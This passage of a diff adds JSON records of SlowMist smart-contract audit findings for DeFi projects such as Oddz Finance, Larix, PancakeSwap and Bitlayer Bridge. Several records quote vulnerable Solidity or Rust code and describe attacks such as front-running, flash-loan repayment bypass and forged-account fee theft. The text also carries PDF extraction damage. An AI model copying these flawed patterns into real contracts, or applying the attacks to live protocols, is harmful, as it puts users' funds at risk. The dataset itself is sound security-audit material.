]; uint256 count = 0; for (uint8 i = 0; i < allPools.length; i++) { if (allPools[i].availableBalance() > 0) { count++; } } poolBalance = new uint256[](count); pools = new address[](count); uint256 j = 0; 17 uint256 balance = 0; for (uint256 i = 0; i < allPools.length; i++) { if (allPools[i].availableBalance() > 0) { pools[j] = address(allPools[i]); poolBalance[j] = allPools[i].availableBalance(); balance += poolBalance[j]; j++; } } (poolBalance, pools) = _sort(poolBalance, pools); require(balance > _liquidityParams._amount, \"LP Error: Amount is too large\"); }", + "labels": [ + "SlowMist", + "Oddz Finance", + "Type: Unsafe External Call Audit", + "Severity: Critical" + ] + }, + { + "title": "Race conditions issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Oddz Finance_en-us.pdf", + "body": "The enableOptionTransfer function can be called repeatedly, When the attacker calls enableOptionTransfer to set a small value of _minAmount.The user does not need to enter minAmount to check when calling the optionTransfer function.Therefore, the attacker can call enableOptionTransfer again with a higher gas price to set a new minAmount, so that if the allowance is greater than the minAmount + transferFee , the user can normally execute optionTransfer calls and trade with a larger amount, and the attacker can prot. contracts/Option/OddzOptionManager.sol function enableOptionTransfer(uint256 _optionId, uint256 _minAmount) external { Option storage option = options[_optionId]; require( option.expiration > (block.timestamp + 18 assetManager.getMinPeriod(option.pair)), \"Option not eligble for transfer\" ); require(option.holder == msg.sender, \"Invalid Caller\"); require(option.state == State.Active, \"Invalid state\"); require(_minAmount >= minimumPremium, \"amount is lower than minimum premium\"); optionTransferMap[_optionId] = _minAmount; emit OptionTransferEnabled(_optionId, _minAmount); } function optionTransfer(uint256 _optionId) external { Option storage option = options[_optionId]; require( option.expiration > (block.timestamp + assetManager.getMinPeriod(option.pair)), \"Option not eligble for transfer\" ); uint256 minAmount = optionTransferMap[_optionId]; require(minAmount > 0, \"Option not enabled for transfer\"); require(option.state == State.Active, \"Invalid state\"); require(option.holder != msg.sender, \"Self option transfer is not allowed\"); // once transfer initiated update option tranfer map delete optionTransferMap[_optionId]; uint256 transferFee = _getTransactionFee(minAmount, msg.sender); txnFeeAggregate += transferFee; _validateOptionAmount(token.allowance(msg.sender, address(this)), minAmount + transferFee); token.safeTransferFrom(msg.sender, option.holder, minAmount); token.safeTransferFrom(msg.sender, address(this), transferFee); address oldHolder = option.holder; option.holder = msg.sender; emit OptionTransfer(_optionId, oldHolder, msg.sender, minAmount, transferFee); } 19", + "labels": [ + "SlowMist", + "Oddz Finance", + "Type: Reordering Vulnerability", + "Severity: Critical" + ] + }, + { + "title": "Excessive authority issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Oddz Finance_en-us.pdf", + "body": "(1) The owner of the OddzIVOracleManager and OddzPriceOracleManager contracts can change the conguration of the contract and does not use timelock for management, there is a risk of excessive authority. The oracle aects the price of the asset. When the oracle contract is maliciously manipulated, it will cause the user's asset to be damaged. (2) After the contracts are deployed, it is necessary to check whether TimeLocker is set correctly.", + "labels": [ + "SlowMist", + "Oddz Finance", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - EarningFarm v3 Iterative_en-us.pdf", + "body": "In the Exchange contract, the owner role can set swapCaller and router through the setSwapCaller and listRouter functions. If it is set to a malicious address, funds will be lost. In the CDai contract, the owner role can set sensitive parameters through the setSwapPath function. This will lead to the risk of excessive owner permissions. ", + "labels": [ + "SlowMist", + "EarningFarm v3 Iterative", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Variable storage issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - EarningFarm v3 Iterative_en-us.pdf", + "body": "In the Curve3Pool contract, the swap function is used for token exchange. When fetching pools[_index], it uses storage to store the curve variable, but in this function there is no need to modify pools[_index], so this will consume more gas. ", + "labels": [ + "SlowMist", + "EarningFarm v3 Iterative", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Slippage issue 9", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - EarningFarm v3 Iterative_en-us.pdf", + "body": "In the Curve3Pool contract, the swap function is used to exchange tokens in 3pool, but the _min_received passed in during the exchange is 0, which will cause the exchange process to be subject to a sandwich attack. ", + "labels": [ + "SlowMist", + "EarningFarm v3 Iterative", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "get_dy index issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - EarningFarm v3 Iterative_en-us.pdf", + "body": "In the CDai contract, the _totalAssets function converts DAI to USDC as total assets via CurvePool's get_dy. But Calculate withdraw amout of usdc - from Dai (j) to USDC(i) is stated in the comments, while according to the get_dy function description (https://curve.readthedocs.io/factory-pools.html#StableSwap.get_dy ), the i index should be DAI, and the j index should be USDC. ", + "labels": [ + "SlowMist", + "EarningFarm v3 Iterative", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of breaching contract integrity", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - EarningFarm v3 Iterative_en-us.pdf", + "body": "When the user makes a withdrawal, the protocol will withdraw from the SS contract through the controller contract, and then burn the user's share. 11 In the withdraw function of the SS contract, it will rst calculate the number of LPs that the user can withdraw (lpAmt), then extract the LP tokens from the convex, and then use balanceOf(address(this)) to obtain the LP balance of this contract as lpWithdrawn. TotalLP will then subtract lpWithdrawn and remove liquidity from CurvePool. The amount to remove liquidity is also lpWithdrawn. Then transfer all USDC tokens in the SS contract to the controller. Finally, the controller contract transfers the USDC token to the user. In the withdraw function of the vault contract, after the controller completes the withdrawal, the number of burned shares is calculated based on the assets passed in by the user. This will lead to the destruction of the totalLP value if a malicious user transfers a large amount of LP tokens to the SS contract and withdraws them after depositing. ", + "labels": [ + "SlowMist", + "EarningFarm v3 Iterative", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Risk of slippage checks being bypassed", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - EarningFarm v3 Iterative_en-us.pdf", + "body": "In the CDai contract, the totalAssets function calculates the total collateral amount of the SS contract in the strategy through the get_dy function of CurvePool. When the user withdraws, the contract will participate in the calculation of 12 the nDAI value to be withdrawn through totalAssets. Unfortunately, a malicious user can manipulate the CurvePool with large sums of money so that the value obtained by the get_dy function is much smaller than expected, which will cause the nDAI value to be much larger than expected when withdrawing. Malicious users can deplete the liquidity in CDai by stealing collateral that does not belong to them. ", + "labels": [ + "SlowMist", + "EarningFarm v3 Iterative", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Arbitrary permission initialization of lend/oracle contract", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Larix Obsolete_en-us.pdf", + "body": "Anyone can initialize the lend/oracle contract, which may lead to the illegal use of the contract, and malicious users may use the ocially deployed Program to conduct fraudulent activities.", + "labels": [ + "SlowMist", + "Larix Obsolete", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Flash loan repayment detection bypass", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Larix Obsolete_en-us.pdf", + "body": "After the attacker calls process_flash_loan to borrow, he uses the borrowed funds to recharge to the contract. In this way, the ash loan will detect that the funds have been returned during the repayment check, which leads to the success of the ash loan, but the funds are not actually returned. Instead, the attacker get a deposit position is established, and the attacker can withdraw this fund at any time, thereby stealing all the funds in the fund pool.", + "labels": [ + "SlowMist", + "Larix Obsolete", + "Type: Reentrancy Vulnerability", + "Severity: Critical" + ] + }, + { + "title": "Process_ash_loan forged account risk 7", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Larix Obsolete_en-us.pdf", + "body": "Code location: larix-lending/src/processor.rs fn process_flash_loan( program_id: &Pubkey, liquidity_amount: u64, accounts: &[AccountInfo], ) If the owner or key of the reserve_info account is not veried, the attacker may attack the contract by maliciously constructing the data stored in the account.", + "labels": [ + "SlowMist", + "Larix Obsolete", + "Type: Forged account attack", + "Severity: Critical" + ] + }, + { + "title": "Process_reserve forged account risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Larix Obsolete_en-us.pdf", + "body": "Code location: larix-lending/src/cong/cong_process.rs fn process_reserve(program_id: & Pubkey, accounts: & [AccountInfo],reserve_type:ConfigReserveType) If the owner or key of the reserve_info account is not veried, the attacker may attack the contract by maliciously constructing the data stored in the account.", + "labels": [ + "SlowMist", + "Larix Obsolete", + "Type: Forged account attack", + "Severity: Critical" + ] + }, + { + "title": "process_borrow_obligation_liquidity host_fee transfer target is not veried", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Larix Obsolete_en-us.pdf", + "body": "Code location: larix-lending/src/processor.rs if let Ok(host_fee_receiver_info) = next_account_info(account_info_iter) { if host_fee > 0 { owner_fee = owner_fee .checked_sub(host_fee) .ok_or(LendingError::MathOverflow)?; spl_token_transfer(TokenTransferParams { source: source_liquidity_info.clone(), destination: host_fee_receiver_info.clone(), amount: host_fee, authority: lending_market_authority_info.clone(), authority_signer_seeds, token_program: token_program_id.clone(), })?; } } The owner or key of the host_fee_receiver_info account is not veried, and the user can steal host_fee by specifying host_fee_receiver_info .", + "labels": [ + "SlowMist", + "Larix Obsolete", + "Type: Forged account attack", + "Severity: Critical" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_v3_Phase2_en-us.pdf", + "body": "1.The owner role can change the external part contract FARM_BOOSTER through the updateFarmBoostContract function and the external part contract can aect the boostMultiplier . ", + "labels": [ + "SlowMist", + "PancakeSwap_v3_Phase2", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "LP token locking issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_v3_Phase2_en-us.pdf", + "body": "In the MasterChefV3 contract, users will transfer their ERC721 LP tokens for staking to get the CAKE as reward. Users can only call the safeTransferFrom function to transfer their ERC721 LP token in the MasterChefV3 contract to trigger the _checkOnERC721Received hook to let the NonfungiblePositionManager contract call back the onERC721Received function. After this, the positionInfo can be recorded and make the staking eective. If users miss transferring the LP token by using the transferFrom function, the LP tokens will be locked in this contract. ", + "labels": [ + "SlowMist", + "PancakeSwap_v3_Phase2", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Cast truncation issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_v3_Phase2_en-us.pdf", + "body": "In the PancakeV3LmPool contract, the Pool or MasterChef will calculate the reward through the accumulateReward function. The uint256 endTime is assigned by getLatestPeriodInfo in the MasterChef contract and the endTime is assigned by an uint256 value latestPeriodEndTime , then the endTime will cast to an uint32 to endTimestamp . If the latestPeriodEndTime is larger than type(uin32).max , there will be a cast truncation issue. And PancakeV3LmPool contract imports the SafeCast contract but doesnt use it for the uin32 cast. ", + "labels": [ + "SlowMist", + "PancakeSwap_v3_Phase2", + "Type: Arithmetic Accuracy Deviation Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risks of arbitrary transfer of ETF funds", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase7 - SlowMist Audit Report.pdf", + "body": "In the MoveFunds contract, the admin role can transfer funds from the ETF to a specied receiver address through the makeTransfer function during the ETF's closed period. Additionally, the owner can arbitrarily modify the receiver address through the setReceiver function. For the ETF, this may pose an excessive privilege risk, and participants should be aware of this. ", + "labels": [ + "SlowMist", + "DeSyn Phase7 - SlowMist Audit Report", + "Type: Authority Control Vulnerability Audit", + "Severity: Information" + ] + }, + { + "title": "Redundant logic issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MasterChef v2_en-us.pdf", + "body": "In the add function, the owner can add new pools. It will rst check whether the number of newly added lpTokens in the contract is greater than or equal to 0. But in fact, the number of lpTokens in the contract will be greater than or equal to 0 in any case, so this check is redundant. ", + "labels": [ + "SlowMist", + "MasterChef v2", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Permission control issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MasterChef v2_en-us.pdf", + "body": "If any user holds the dummy token, the user can stake the dummy token to the MasterChef v1 contract through the init function, which will cause the lastBurnedBlock parameter to be updated unexpectedly, and nally lead to an error in the calculation of the number of CAKE tokens waiting to be burned. ", + "labels": [ + "SlowMist", + "MasterChef v2", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "The number of pendingCakeToBurn is not checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MasterChef v2_en-us.pdf", + "body": "In the burnCake function, if the number of CAKE tokens in the contract is less than pendingCakeToBurn, it will harvest CAKE tokens from MasterChef v1 via the harvestFromMasterChef function. But it does not check if the balance of CAKE tokens in the contract after harvesting is greater than or equal to pendingCakeToBurn. ", + "labels": [ + "SlowMist", + "MasterChef v2", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Repeatable initialization issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_MOVE_en-us.pdf", + "body": "In the swap module RESOURCE_ACCOUNT can initialize SwapInfo through the init_storage function, but the function does not check for repeated initialization. ", + "labels": [ + "SlowMist", + "PancakeSwap_MOVE", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Gas optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_MOVE_en-us.pdf", + "body": "In the swap module, the add_liquidity function is used to add liquidity and return the remaining tokens to the user. But without checking whether the token value to be returned is greater than 0, the coin::deposit function is called. If the returned token value is 0, this will cause unnecessary gas consumption. ", + "labels": [ + "SlowMist", + "PancakeSwap_MOVE", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Architecture optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_MOVE_en-us.pdf", + "body": "The storage of LP tokens is realized through storage.move in the protocol. But the creation of Pair is realized through the create_pair of the swap module and the resource storage is carried out by TokenPairMetadata and TokenPairReserve. So LPToken can be implemented directly in swap module without having to implement it in storage.move separately. ", + "labels": [ + "SlowMist", + "PancakeSwap_MOVE", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Assertion aw issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_MOVE_en-us.pdf", + "body": "In the swap module, the mint function is used to mint LP tokens when liquidity is added. When adding liquidity for the rst time, the liquidity amount needs to meet MINIMUM_LIQUIDITY. If the MINIMUM_LIQUIDITY is not met, the 12 transaction will be revet. In this case the protocol will throw an overow error instead of ERROR_INSUFFICIENT_LIQUIDITY_MINTED. ", + "labels": [ + "SlowMist", + "PancakeSwap_MOVE", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Not checked if pair has been created", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_MOVE_en-us.pdf", + "body": "In the router module contract, users can remove liquidity and exchange tokens through the functions remove_liquidity, swap_exact_input, swap_exact_output, swap_exact_input_doublehop, 13 swap_exact_output_doublehop, swap_exact_input_triplehop and swap_exact_output_triplehop respectively, but do not check whether a pair is created rst. ", + "labels": [ + "SlowMist", + "PancakeSwap_MOVE", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_MOVE_en-us.pdf", + "body": "In the Swap module, the quote_x_to_y_after_fees, quote_y_to_x_after_fees, transfer_x and transfer_y functions are all internal functions, but no other public functions call them. ", + "labels": [ + "SlowMist", + "PancakeSwap_MOVE", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "k value check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_MOVE_en-us.pdf", + "body": "During the swap process, it is necessary to check whether the multiplication of the token balance of the pair after the swap is strictly greater than or equal to the k value. However, due to the fee charged during the swap process, in theory, the multiplication of the token balance of the pair after swap must be strictly greater than the k value. While using u256 avoids close rounding errors it is still not necessary to check if it is equal to the k value. ", + "labels": [ + "SlowMist", + "PancakeSwap_MOVE", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_MOVE_en-us.pdf", + "body": "In the swap module contract, the admin role can call the upgrade_swap function to upgrade the entire contract. If administrator privileges are stolen, it may have an impact on the normal operation of the contract. ", + "labels": [ + "SlowMist", + "PancakeSwap_MOVE", + "Type: Excessive Authority Audit", + "Severity: Medium" + ] + }, + { + "title": "The validity of the token contract address is not checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge Phase 2.pdf", + "body": "In the BitlayerBridgeV2 contract, the crossoutBurn function does not check the validity of the token address. An attacker can pass in the token contract address created by himself, and then transfer and burn the tokens created by the attacker through the crossoutBurn function to trigger the CrossoutBurned event. contracts/BitlayerBridgeV2.sol#L278-L307 function crossoutBurn( address token, uint256 value, string memory btcReceiver ) external payable { require(token != address(0), \"invalid token address\"); require(value != 0, \"invalid value\"); require(bytes(btcReceiver).length != 0, \"invalid btcReceiver\"); uint256 crossoutFeeAmount = tokenConfigs[token].crossoutFee; require(crossoutFeeAmount == 0 || msg.value >= crossoutFeeAmount, \"not enough fee paied\"); SafeERC20.safeTransferFrom(IERC20(token), msg.sender, address(this), value); IPegToken(token).burn(address(this), value); if (crossoutFeeAmount > 0) { (bool success, bytes memory returndata) = feeAddress.call{value: crossoutFeeAmount}(\"\"); require(success, string(returndata)); } uint256 unusedFee = msg.value - crossoutFeeAmount; if (unusedFee > 0) { (bool success, bytes memory returndata) = msg.sender.call{value: unusedFee}(\"\"); require(success, string(returndata)); } emit CrossoutBurned(msg.sender, btcReceiver, token, value); }", + "labels": [ + "SlowMist", + "Bitlayer Bridge Phase 2", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Unlimited huge amount minting", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge Phase 2.pdf", + "body": "In the BitlayerBridgeV2 contract, when huge amounts are minted through the proposeMint function and executeMint function, the minted amount is not limited by periodLimit , nor is it recorded in periodMinted , and the period will not be updated. contracts/BitlayerBridgeV2.sol#L235-L255,L258-L275 function proposeMint( MintInfo memory mInfo ) external onlyRole(ProposerRole) { bytes32 blExecHash = keccak256(abi.encodePacked(mInfo.btcTxHash)); require(!executedBtcHash[blExecHash], \"already executed\"); require(mInfo.receiver != address(0), \"receiver is null\"); require(proposedMint[blExecHash].receiver == address(0), \"already proposed\"); require(mInfo.value >= tokenConfigs[mInfo.token].mintSplitLine, \"mint value is less than configed\"); require( !IPegToken(mInfo.token).isBlacklist(mInfo.receiver), \"receiver is blacklisted\" ); proposedMint[blExecHash] = mInfo; emit MintProposed(mInfo.btcTxHash, blExecHash, mInfo.receiver, mInfo.token, mInfo.value); } function executeMint( bytes32 blExecHash ) external onlyRole(ExecutorRole) { MintInfo memory mInfo = proposedMint[blExecHash]; require(!executedBtcHash[blExecHash], \"already executed\"); require(mInfo.receiver != address(0), \"not proposed\"); executedBtcHash[blExecHash] = true; delete proposedMint[blExecHash]; IPegToken(mInfo.token).mint(mInfo.receiver, mInfo.value); emit MintExecuted(mInfo.btcTxHash, blExecHash, mInfo.receiver, mInfo.token, mInfo.value); }", + "labels": [ + "SlowMist", + "Bitlayer Bridge Phase 2", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "The returned leftQuota value is inaccurate", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge Phase 2.pdf", + "body": "In the BitlayerBridgeV2 contract, the getPeriodInfo function is inaccurate when returning the leftQuota of the specied token. If block.number has reached the next period and tokenConfigs[token] has not been updated, the value of leftQuota should be config.periodLimit . contracts/BitlayerBridgeV2.sol#L309-L319 function getPeriodInfo(address token) external view returns(uint256 periodLimit, uint256 leftQuota, uint256 leftBlocksToNextPeriod) { TokenConfig memory config = tokenConfigs[token]; periodLimit = config.periodLimit; leftQuota = config.periodLimit - config.periodMinted; leftBlocksToNextPeriod = config.periodInterval - (block.number - config.lastBlockNumber) % config.periodInterval; }", + "labels": [ + "SlowMist", + "Bitlayer Bridge Phase 2", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Missing zero address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge Phase 2.pdf", + "body": "1.In the BitlayerBridgeV2 contract, the initToken function does not perform a zero address check on the token address. contracts/BitlayerBridgeV2.sol#L99-L119 function initToken( address token, ``` ) external onlyRole(AdminRole) { TokenConfig storage config = tokenConfigs[token]; ``` } 2.In the BitlayerBridgeV2 contract, the directMint function does not perform a zero address check on the mInfo.token address. contracts/BitlayerBridgeV2.sol#L198-L233 function directMint( MintInfo memory mInfo ) external onlyRole(MinterRole) { ``` IPegToken(mInfo.token).mint(mInfo.receiver, mInfo.value); ``` } 3.In the BitlayerBridgeV2 contract, the proposeMint function does not perform a zero address check on the mInfo.token address. BitlayerBridgeV2.sol#L235-L255 function proposeMint( MintInfo memory mInfo ) external onlyRole(ProposerRole) { ``` require( !IPegToken(mInfo.token).isBlacklist(mInfo.receiver), \"receiver is blacklisted\" ); ``` }", + "labels": [ + "SlowMist", + "Bitlayer Bridge Phase 2", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Unchecked parameter value is not 0", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge Phase 2.pdf", + "body": "1.In the BitlayerBridgeV2 contract, the initToken function does not check whether the values of periodInterval and mintSplitLine are not 0. contracts/BitlayerBridgeV2.sol#L99-L119 function initToken( address token, uint256 periodLimit, uint256 periodInterval, uint256 mintSplitLine, uint256 crossoutFee ) external onlyRole(AdminRole) { TokenConfig storage config = tokenConfigs[token]; require(config.lastBlockNumber == 0, \"already inited\"); config.lastBlockNumber = block.number; config.periodLimit = periodLimit; config.periodInterval = periodInterval; config.mintSplitLine = mintSplitLine; config.crossoutFee = crossoutFee; emit TokenInited(token, periodLimit, periodInterval, mintSplitLine, crossoutFee); } 2.In the BitlayerBridgeV2 contract, the setMintSplitLine function does not check whether the value of limit is not 0. contracts/BitlayerBridgeV2.sol#L137-L149 function setMintSplitLine( address token, uint256 limit ) public onlyRole(AdminRole) { require(token != address(0), \"invalid token address\"); tokenConfigs[token].mintSplitLine = limit; emit MintSplitLineSet(token, limit); } 3.In the BitlayerBridgeV2 contract, the directMint function does not check whether the value of mInfo.value is not 0. BitlayerBridgeV2.sol#L198-L233 function directMint( MintInfo memory mInfo ) external onlyRole(MinterRole) { ``` require( mInfo.value < config.mintSplitLine, \"mint value is greater than configed\" ); ``` }", + "labels": [ + "SlowMist", + "Bitlayer Bridge Phase 2", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge Phase 2.pdf", + "body": "In the BitlayerBridgeV2 contract, the directMint function repeatedly performs a zero address check on the mInfo.receiver address because the zero address check has already been performed on this address in the mint function of the token contract. contracts/BitlayerBridgeV2.sol#L198-L233 function directMint( MintInfo memory mInfo ) external onlyRole(MinterRole) { ``` require(mInfo.receiver != address(0), \"receiver is null\"); ``` }", + "labels": [ + "SlowMist", + "Bitlayer Bridge Phase 2", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Bitlayer Bridge Phase 2.pdf", + "body": "1.In the BitlayerBridgeV2 contract, the AdminRole role can set important parameters in the contract through the following functions. contracts/BitlayerBridgeV2.sol function setRoles function initToken function setPeriodMintLimit function setMintSplitLine function setCrossoutFee function setPeriodInterval function startNewPeriod 2.The BitlayerBridge contracts are implemented using the OpenZeppelin upgradeable model, allowing the AdminRole role to perform contract upgrades.Since the BitlayerBridgeV2 contract inherits the BitlayerBridge contract, it is also an upgradeable contract. However, this design introduces an excessive privilege risk. contracts/BitlayerBridge.sol#L4 import \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\"; 3.In the BitlayerBridge contract, AdminRole role can set important parameters of the contract.And the BitlayerBridgeV2 contract also inherits these privileged functions. contracts/BitlayerBridge.sol function setFeeAddress function setLockFee function setMinLockAmount function setMaxLockAmount 4.In the BitlayerBridge contract, the LiquidityRole role can call the removeLiquidityTo function to remove the liquidity of any address.And the BitlayerBridgeV2 contract also inherits this privileged functions. contracts/BitlayerBridge.sol#L159-L162 function removeLiquidity(uint256 amount) external whenNotPaused { require(amount > 0, \"invalid amount\"); doRemoveLiquidity(msg.sender, amount); } 5.In the BitlayerBridge contract, UnlockRole can pass in any _txHash through the unlock function to unlock any amount of native tokens. In the BitlayerBridgeV2 contract, MinterRole , ProposerRole and ExecutorRole can mint any amount of PegToken by passing in any btcTxHash parameter through their respective functions ( directMint , proposeMint and executeMint ). These vulnerabilities stem from the contract's inability to verify Bitcoin networks transaction hash at the EVM level, instead leaving verication to a centralized validator. contracts/BitlayerBridge.sol function unlock contracts/BitlayerBridgeV2.sol function directMint function proposeMint function executeMint", + "labels": [ + "SlowMist", + "Bitlayer Bridge Phase 2", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Missing event record", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_Pottery_en-us.pdf", + "body": "When the sensitive parameters of the contract are modied, the corresponding events are not recorded, which is not conducive to the supervision of the community and users. ", + "labels": [ + "SlowMist", + "PancakeSwap_Pottery", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Business logic problem", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_Pottery_en-us.pdf", + "body": "The contract does not check whether the incoming address and ID exist. If the wrong data is passed in in the actual operation, it will lead to waste of resources. ", + "labels": [ + "SlowMist", + "PancakeSwap_Pottery", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_Pottery_en-us.pdf", + "body": "The Owner has the right to modify the address of the contract to any address. ", + "labels": [ + "SlowMist", + "PancakeSwap_Pottery", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Defects in the defaultDepositSS check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_ETH_Lowrisk_en-us.pdf", + "body": "In the harvest function of the Controller contract, before re-depositing the protocol income into the strategy, it will check whether the default SS exists through subStrategies.length > defaultDepositSS . But actually, defaultDepositSS will be 0 when the default SS does not exist, so the subStrategies.length > defaultDepositSS check will always pass. Eventually the protocol will fail to re-deposit. ", + "labels": [ + "SlowMist", + "ENF_ETH_Lowrisk", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "ownerDeposit remaining deposit issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_ETH_Lowrisk_en-us.pdf", + "body": "In the ownerDeposit function of the StETH contract, the owner role will directly deposit ETH into the strategy. It checks that msg.value must be greater than or equal to the amount to be deposited through _amount <= msg.value . But when the owner's msg.value is greater than _amount , the ownerDeposit function does not implement the refund of excess ETH. This will result in funds being locked. The same is true for the ownerDeposit function of the CEth contract. ", + "labels": [ + "SlowMist", + "ENF_ETH_Lowrisk", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant variable", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_ETH_Lowrisk_en-us.pdf", + "body": "There is a weth global variable in the CEth contract, but this variable is not used in the contract. ", + "labels": [ + "SlowMist", + "ENF_ETH_Lowrisk", + "Type: Others", + "Severity: 